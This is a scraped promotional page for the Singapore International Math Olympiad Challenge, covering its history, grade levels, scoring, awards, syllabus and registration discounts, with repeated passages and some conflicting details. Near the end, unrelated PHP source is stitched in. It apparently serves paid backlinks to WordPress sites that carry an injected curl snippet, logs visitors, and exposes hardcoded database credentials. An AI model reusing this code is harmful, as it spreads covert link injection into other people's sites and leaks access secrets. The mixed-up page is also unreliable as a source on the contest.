Singapore International Math Olympiad Challenge (SIMOC) is the brainchild of Singapore International Maths Contests Centre. After organizing Singapore and Asian Schools Math Olympiad (SASMO) for a decade and attending various international math contests, along with the experience of running Maths Warriors and Mind Sports contests in Singapore for more than 16 years, SIMCC decided to incorporate these into a new international contest that would let students experience the thrill of math games along with the challenge of solving puzzles. in Education

hat is SIMOC?

 

The Singapore International Math Olympiad Challenge (SIMOC) is a prestigious annual competition that brings together young math enthusiasts from around the world. With the primary aim of nurturing and promoting mathematical talent, SIMOC serves as a global platform for students to showcase their skills and engage with their peers in a spirit of friendly competition. In this article, we will introduce SIMOC and discuss its significance for the international math community.

 
  • UNIQUE COMPETITION STRUCTURE

  • INCLUSIVE AGE GROUP

  • GLOBAL REPRESENTATION

  • EDUCATIONAL AND SKILL DEVELOPMENT

  • AWARDS RECOGNITION

SIMOC distinguishes itself from other math competitions through its unique structure, which consists of three rounds: the Individual Contest, the Team Contest, and the Math Warriors’ Challenge. This format encourages participants to excel in individual problem-solving while also fostering collaboration and teamwork among contestants.

 

In conclusion, the Singapore International Math Olympiad Challenge serves as a valuable platform for young mathematicians to showcase their talents, learn from their peers, and develop crucial skills for their future careers. As the competition continues to grow and attract participants from around the world, it will undoubtedly play an essential role in shaping the future of mathematics education and research.

SIMOC consists of three categories: 1 individual written Math Olympiad Contest for Grades 1 to 12 (Primary 1 to Junior College 2) and two team based challenges – Math Master Mind Competition and Mind Sports Challenge.

 
 
 

Contest Levels

 

  • Grade 1 (Primary 1)

  • Grade 2 (Primary 2)

  • Grade 3 (Primary 3)

  • Grade 4 (Primary 4)

  • Grade 5 (Primary 5) 

  • Grade 6 (Primary 6) 

  • Grade 7 (Secondary 1) 

  • Grade 8 (Secondary 2) 

  • Grade 9 (Secondary 3) 

  • Grade 10 (Secondary 4) 

  • Grade 11 (Junior College 1)

  • Grade 12 (Junior College 2)
 
 
 
 
 

Participating Countries & Territories

 
 
AzerbaijanBrazilCambodiaCanadaChinaChina Hong KongEgyptGhanaIndiaIndonesiaIranKyrgyzstanLaosMacauMalaysiaMaldivesMexicoMongoliaMyanmarNew ZealandNigeriaPakistanPhillipinesRussiaSingaporeSri LankaThailandTurkiyeUSAUzbekistanVietnamKazakhstan

History

Singapore International Math Olympiad Challenge (SIMOC) is the brainchild of Singapore International Maths Contests Centre. After organizing Singapore and Asian Schools Math Olympiad (SASMO) for a decade and attending various international math contests, along with the experience of running Maths Warriors and Mind Sports contests in Singapore for more than 16 years, SIMCC decided to incorporate these into a new international contest that would let students experience the thrill of math games along with the challenge of solving puzzles.

The first SIMOC was held in Singapore on August 12, 2015. 13 countries attended along with 414 participants and over 350 parents and teachers. In 2020, over 1,120 contestants from 16 countries and territories attended the 1st SIMOC online despite the COVID pandemic, showcasing SIMCC’s leadership in organizing global competitions.

Objectives

  • Encourage creative thinking and build their problem solving skills.
  • Develop their ability to enjoy mathematics and apply them in real life
  • Promote a culture of mutual understanding and learning from each other
  • Boost their confidence in comprehending and solving complex problems.

Supporting scheme for IJHS members

In view of Covid-19, SIMOC 2021 will be hosted ONLINE this year and there are around 18,000 students qualified for the contest from the above International Local competitions.
This year, we have increased enrolment to 2,500 (15%) of the award winners globally can register for SIMOC based on first-come, first-serve basis. So, hurry before we reach our capacity and we cannot take in any more contestants, even if you are a Perfect Scorer.

IJHS Benefit
All 2019/2020 IJHS members are entitled to 20% discount on the training.

2nd or more children Benefit
All 2nd or more children register for SIMOC 2021 will entitle to 25% discount for each child on the training.

We are introducing the above benefits to support IJHS members and families supporting their children for scholastic pursuits.

Both discounts apply for the IJHS and 2nd child, who will get a 45% discount for training.

Please email your registration confirmation email and Stripe receipt to our finance (finance@simcc.org) for your refund after you have registered.

About Us; SIMOC CREATIVE CONCEPT

Singapore International Math Olympiad Challenge (SIMOC)

Singapore International Math Olympiad Challenge (SIMOC) is a unique concept of mathematics competition which not only tests your ability to solve mathematical problems on pen and paper but also tests your ability to work as a team to play interactive mathematical games and solve puzzles. SIMOC gives you an opportunity to compete with top mathematical talents from around the world and learn from each other as a team. Individual and team recognition awards are up for grabs.

SIMOC consists of three categories:

  • Math Olympiad Contest for grades 1 to 12 (Primary 2 to Junior College 2)
  • Maths Warriors Competition (team based)
  • Mind Sports Challenge (team based)

Details of each event are provided below.

MATH OLYMPIAD CONTEST is an individual written test. The contest consists of 11 differentiated levels: Grade 1 to 11/12 (Primary 1 to Junior College 1/2).
The duration of the contest is 90 minutes and every paper consists of 25 questions
Student starts with 15 bonus points and Perfect Score = 85 points

Section A – 15 Multiple Choice Questions
(2 points for correct answer, 0 points for unanswered question, penalty point (deduct 1 point) for wrong answer)
Section B – 10 Open-ended Questions
(4 points for correct answer, no penalty point for wrong answer)

AWARDS

Perfect Score Award (Full mark) – qualifies as a significant award for IJHS
Gold Award (Top 10%) – qualifies as a significant award for IJHS
Silver Award (Next 15%) – qualifies as a significant award for IJHS
Bronze Award (Next 25%)
Honorable Mention Award (Next 20%)
Certificate of Participation (Next 30%)

SYLLABUS (Difficulty Level – Medium)
SIMOC reserves the rights to change the syllabus without any prior notice.

GRADE 1-4 (PRIMARY 1-4)
Arithmetic and Statistics
Geometry and Mensuration
Solving word problems using model method (or any other non-algebraic methods)
Non-routine problem solving (including number patterns, divisibility tests, spatial visualisation, logic problems and simple cryptarithms)

GRADE 5-6 (PRIMARY 5-6)
Arithmetic and Statistics
Geometry and Mensuration
Solving word problems using model method (or any other methods including algebra)
Non-routine problem solving (including number patterns, divisibility tests, spatial visualisation, logic problems and cryptarithms)

GRADE 7 (SECONDARY 1)
Arithmetic and Algebra
Geometry, Graphs and Mensuration
Statistics
Non-routine problem solving (including number patterns, divisibility tests, spatial visualisation, logic problems and cryptarithms)

GRADE 8 (SECONDARY 2)
Arithmetic and Algebra
Geometry, Graphs and Mensuration
Pythagoras’ Theorem
Statistics
Non-routine problem solving (including number patterns, divisibility tests, spatial visualisation, logic problems and cryptarithms)

GRADE 9-12 (SECONDARY 3-4, JC1-2)
Arithmetic and Algebra
Geometry, Graphs and Mensuration
Pythagoras’ Theorem and Trigonometry
Statistics and Probability
Non-routine problem solving (including number patterns, divisibility tests, spatial visualisation, logic problems and cryptarithms)

header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>
Scroll to Top

AMO RESULT 2024